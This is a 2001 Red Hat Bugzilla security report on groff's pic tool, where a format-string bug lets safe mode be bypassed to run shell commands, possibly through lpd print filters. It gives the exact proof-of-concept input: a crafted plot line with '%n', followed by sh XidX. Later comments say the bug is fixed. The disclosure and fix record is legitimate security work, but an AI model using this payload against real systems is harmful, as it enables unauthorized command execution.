Bug 50494 - pic can be forced to run commands in safe mode
pic can be forced to run commands in safe mode
Status: CLOSED RAWHIDE
Product: Red Hat Linux
Classification: Retired
Component: groff (Show other bugs)
7.0
i386 Linux
medium Severity medium
: ---
: ---
Assigned To: Florian La Roche
Aaron Brown
http://www.securityfocus.com/bid/3103
: Security
Depends On:
Blocks:
  Show dependency treegraph
 
Reported: 2001-07-31 13:41 EDT by Need Real Name
Modified: 2007-04-18 12:35 EDT (History)
0 users

See Also:
Fixed In Version:
Doc Type: Bug Fix
Doc Text:
Story Points: ---
Clone Of:
Environment:
Last Closed: 2001-08-09 13:58:33 EDT
Type: ---
Regression: ---
Mount Type: ---
Documentation: ---
CRM:
Verified Versions:
Category: ---
oVirt Team: ---
RHEL 7.3 requirements from Atomic Host:


Attachments (Terms of Use)

  None (edit)
Description Need Real Name 2001-07-31 13:41:41 EDT
From Bugzilla Helper:
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.2) Gecko/20010701

Description of problem:
pic can be forced to execute commands (sh X..X) when running in safe mode
(-S). Can be exploited trough lpd (groff/pic is run in printfilters) and
arbitrary commands with id of lpd can be run.


pic command 'plot -1.99892428527521803794 "%n"' will overwrite memory 
where safe mode variable is stored and then it alows to use "sh" command.


How reproducible:
Always

Steps to Reproduce:
1. pic -S 
2. .PS
3. plot -1.99892428527521803794 "%n"
4. sh XidX
5. .PE

	

Actual Results:  uid=501(bendik) gid=501(bendik) ....

Expected Results:  pic:<standard input>:2: unsafe to run command `id'



Additional info:

Bug has been discovered by Zenith Parsec <zen-parse@gmx.net>.
Exploit with patch has been posted to bugtraq (see URL).

I tested groff 1.16 and 1.16.1, both are vulnerable.
Comment 1 Need Real Name 2001-08-09 13:58:29 EDT
When you want to fix this????

--rado b
Comment 2 Florian La Roche 2001-08-14 09:25:06 EDT
is fixed with current rpms: groff-1.17.2-1

Thanks,

Florian La Roche

Note You need to log in before you can comment on or make changes to this bug.